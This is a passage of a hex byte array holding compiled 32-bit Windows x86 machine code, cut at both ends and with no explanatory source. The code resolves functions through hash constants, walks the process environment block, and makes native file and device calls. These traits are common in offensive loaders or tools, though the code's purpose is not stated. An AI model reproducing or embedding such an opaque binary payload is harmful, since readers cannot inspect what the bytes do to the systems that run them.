x8B,0x45,0xE8,0x8B,0x40,0x0C,0x89,0x45,0xF4,0xEB,0x44,0x8B,0x45,0xF4,0x8B,0x40,0x18,0x89,0xC2,0x8B,0x45,0xF0,0x39,0xD0,0x72,0x29,0x8B,0x45,0xF4,0x8B,0x40,0x18,0x89,0xC2,0x8B,0x45,0xF4,0x8B,0x40,0x20,0x01,0xD0,0x8B,0x55,0xF0,0x39,0xC2,0x73,0x15,0x8B,0x45,0xF4,0x8B,0x50,0x30,0x8B,0x45,0x08,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x19,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x3B,0x45,0xE4,0x75,0xB4,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x78,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xB4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xAC,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xCC,0xE2,0x48,0x65,0xE8,0xD3,0x1C,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x20,0x0E,0xAE,0x06,0x89,0x04,0x24,0xE8,0x42,0x1B,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x49,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xCC,0xE2,0x48,0x65,0xE8,0x9A,0x1C,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x1D,0x21,0x88,0x03,0x89,0x04,0x24,0xE8,0x09,0x1B,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0x13,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xCC,0xE2,0x48,0x65,0xE8,0x61,0x1C,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x56,0x43,0xDD,0x7B,0x89,0x04,0x24,0xE8,0xD0,0x1A,0x00,0x00,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x84,0xDD,0x01,0x00,0x00,0x8D,0x45,0xD8,0x89,0x04,0x24,0xE8,0x3D,0xFE,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0xC8,0x01,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x0A,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x9A,0x01,0x00,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0xE6,0xE2,0x48,0x65,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x00,0x8F,0x00,0x00,0x8B,0x45,0xD8,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xDE,0x8E,0x00,0x00,0x8B,0x45,0xF0,0x89,0x45,0xD0,0x8B,0x45,0xD0,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x89,0x04,0x24,0xE8,0xAD,0x89,0x00,0x00,0x66,0x89,0x45,0xCC,0x0F,0xB7,0x45,0xCC,0x01,0xC0,0x66,0x89,0x45,0xCC,0x0F,0xB7,0x45,0xCC,0x83,0xC0,0x02,0x66,0x89,0x45,0xCE,0xC7,0x45,0xB4,0x18,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x40,0x00,0x00,0x00,0x8D,0x45,0xCC,0x89,0x45,0xBC,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8D,0x45,0xB4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x04,0x00,0x8D,0x45,0xD4,0x89,0x04,0x24,0xE8,0xFA,0x54,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x88,0xE6,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8D,0x45,0xA0,0x89,0x04,0x24,0x8B,0x45,0xE4,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0xC6,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8D,0x45,0xA0,0x89,0x04,0x24,0x8B,0x45,0xE0,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x96,0x00,0x00,0x00,0x8B,0x45,0xD4,0x8D,0x55,0xA0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x04,0x00,0x00,0x00,0x89,0x04,0x24,0x8B,0x45,0xE8,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x73,0x8B,0x45,0xD4,0x89,0x04,0x24,0xE8,0x90,0x51,0x00,0x00,0x89,0x45,0xEC,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x78,0x5B,0x8D,0x45,0xB4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x01,0x00,0x8D,0x45,0xD4,0x89,0x04,0x24,0xE8,0x3C,0x54,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x3B,0x8B,0x45,0xD4,0x89,0x04,0x24,0xE8,0xEE,0x54,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x2A,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xD4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xD4,0x89,0x04,0x24,0xE8,0x0C,0x51,0x00,0x00,0x83,0x7D,0xF0,0x00,0x74,0x54,0x83,0x7D,0xF0,0x00,0x74,0x4E,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x32,0x8D,0x00,0x00,0x01,0xC0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xC9,0x8C,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x18,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0xE8,0x61,0x49,0x65,0xFF,0xD0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x2C,0x01,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x4B,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x00,0xE3,0x48,0x65,0xE8,0x8A,0x00,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x74,0x2B,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x1C,0xE3,0x48,0x65,0xE8,0x13,0xFA,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0x07,0xFA,0xFF,0xFF,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x74,0x4A,0x83,0x7D,0xEC,0x00,0x74,0x44,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xC0,0x8B,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x3E,0xE3,0x48,0x65,0xE8,0xA1,0x18,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x0B,0x60,0x9C,0x2F,0x89,0x04,0x24,0xE8,0x10,0x17,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x2E,0x8B,0x45,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xF0,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0x10,0x83,0x7D,0x10,0x00,0x74,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x14,0xC7,0x45,0xE4,0x30,0x00,0x00,0x00,0x8B,0x45,0xE4,0x64,0x8B,0x00,0x89,0x45,0xE0,0x8B,0x45,0xE0,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x05,0xA4,0x00,0x00,0x00,0x8B,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x05,0x76,0x32,0xB8,0x20,0x03,0xFE,0x7F,0x8B,0x50,0x04,0x8B,0x00,0xB9,0x04,0x00,0xFE,0x7F,0x8B,0x09,0xBB,0x00,0x00,0x00,0x00,0x89,0xD7,0x0F,0xAF,0xF9,0x89,0xDE,0x0F,0xAF,0xF0,0x01,0xFE,0xF7,0xE1,0x8D,0x0C,0x16,0x89,0xCA,0x0F,0xAC,0xD0,0x18,0xC1,0xEA,0x18,0xEB,0x34,0xB8,0x00,0x00,0xFE,0x7F,0x8B,0x00,0x89,0xC1,0xBB,0x00,0x00,0x00,0x00,0xB8,0x04,0x00,0xFE,0x7F,0x8B,0x00,0xBA,0x00,0x00,0x00,0x00,0x89,0xDF,0x0F,0xAF,0xF8,0x89,0xD6,0x0F,0xAF,0xF1,0x01,0xFE,0xF7,0xE1,0x8D,0x0C,0x16,0x89,0xCA,0x0F,0xAC,0xD0,0x18,0xC1,0xEA,0x18,0x83,0xC4,0x14,0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x57,0x53,0x81,0xEC,0x40,0x02,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x8D,0x95,0xD8,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x0F,0x84,0x0D,0x02,0x00,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xD8,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xE0,0x89,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x04,0x00,0x00,0x89,0x04,0x24,0xE8,0x9F,0x4D,0x00,0x00,0x89,0x45,0xF0,0x81,0x7D,0xF0,0x1A,0x00,0x00,0x80,0x75,0x24,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x58,0xE3,0x48,0x65,0xE8,0xC3,0xF7,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0xB7,0xF7,0xFF,0xFF,0xE9,0x9D,0x01,0x00,0x00,0x83,0x7D,0xF0,0x00,0x0F,0x88,0x8F,0x01,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE0,0x89,0x54,0x24,0x08,0x8D,0x55,0xE4,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x80,0x0E,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0x51,0x01,0x00,0x00,0x8B,0x45,0xE4,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x54,0x8B,0x45,0xE4,0x85,0xC0,0x0F,0x84,0x41,0x01,0x00,0x00,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x3E,0x89,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0xF8,0x00,0x00,0x00,0x8B,0x45,0xE4,0x8B,0x40,0x04,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x61,0x89,0x00,0x00,0x83,0xC0,0x02,0x89,0x45,0xEC,0x8D,0x85,0xD8,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x67,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x44,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xB7,0x88,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x80,0x0E,0x00,0x00,0x8B,0x55,0x0C,0x89,0x02,0x90,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x71,0xEB,0x60,0x8B,0x45,0xE4,0x85,0xC0,0x0F,0x84,0x6E,0xFE,0xFF,0xFF,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x4C,0x88,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x25,0xFE,0xFF,0xFF,0x90,0xE9,0x1F,0xFE,0xFF,0xFF,0x90,0xE9,0x19,0xFE,0xFF,0xFF,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE8,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x02,0x4C,0x00,0x00,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x44,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xC7,0x87,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x65,0xF8,0x5B,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x8B,0x45,0x08,0x0F,0xB6,0x10,0x8B,0x45,0x08,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x38,0xC2,0x75,0x14,0x8B,0x45,0x08,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x3C,0x5C,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x56,0x8B,0x45,0x08,0x0F,0xB6,0x00,0x83,0xC8,0x20,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x60,0x7E,0x06,0x80,0x7D,0xFF,0x7A,0x7E,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x37,0x8B,0x45,0x08,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x3A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1E,0x8B,0x45,0x08,0x83,0xC0,0x02,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x5C,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x81,0xEC,0x28,0x02,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x78,0xE3,0x48,0x65,0x89,0x04,0x24,0xE8,0x47,0x87,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x49,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x1F,0xE8,0x97,0x00,0x00,0x00,0x8B,0x55,0x08,0x8B,0x52,0x04,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0x11,0x87,0x00,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8D,0x85,0xF0,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x84,0x86,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8D,0x95,0xF0,0xFD,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xD4,0x86,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x89,0x04,0x24,0xE8,0xA6,0x81,0x00,0x00,0x89,0xC2,0x8B,0x45,0x08,0x66,0x89,0x10,0x8B,0x45,0x08,0x0F,0xB7,0x00,0x8D,0x14,0x00,0x8B,0x45,0x08,0x66,0x89,0x10,0x8B,0x45,0x08,0x0F,0xB7,0x00,0x8D,0x50,0x02,0x8B,0x45,0x08,0x66,0x89,0x50,0x02,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xF4,0x30,0x00,0x00,0x00,0x8B,0x45,0xF4,0x64,0x8B,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x83,0xC0,0x10,0x8B,0x00,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x40,0x28,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0xBA,0x00,0x00,0x00,0x00,0x89,0x45,0xC8,0x89,0x55,0xCC,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x05,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x10,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x16,0x01,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x3E,0x4A,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x3A,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xF4,0x33,0x00,0x00,0xC0,0x75,0x2F,0x8B,0x45,0x08,0x8B,0x40,0x04,0x83,0xC0,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x82,0xE3,0x48,0x65,0xE8,0x2A,0xF3,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0x1E,0xF3,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC9,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x79,0x2F,0x8B,0x45,0x08,0x8B,0x40,0x04,0x83,0xC0,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x9D,0xE3,0x48,0x65,0xE8,0xF5,0xF2,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0xE9,0xF2,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xE9,0x94,0x00,0x00,0x00,0x8B,0x45,0xF0,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0x8B,0x55,0x10,0x89,0x54,0x24,0x18,0x8B,0x55,0x0C,0x89,0x54,0x24,0x14,0x8D,0x55,0xD0,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x9E,0x49,0x00,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x88,0x48,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x79,0x2C,0x8B,0x45,0x08,0x8B,0x40,0x04,0x83,0xC0,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x9D,0xE3,0x48,0x65,0xE8,0x63,0xF2,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0x57,0xF2,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x03,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x89,0x00,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x81,0x48,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x3A,0x00,0x00,0xC0,0x74,0x12,0x81,0x7D,0xF4,0x33,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xF4,0x3B,0x00,0x00,0xC0,0x75,0x2C,0x8B,0x45,0x08,0x8B,0x40,0x04,0x83,0xC0,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x82,0xE3,0x48,0x65,0xE8,0x64,0xF1,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0x58,0xF1,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x38,0x47,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0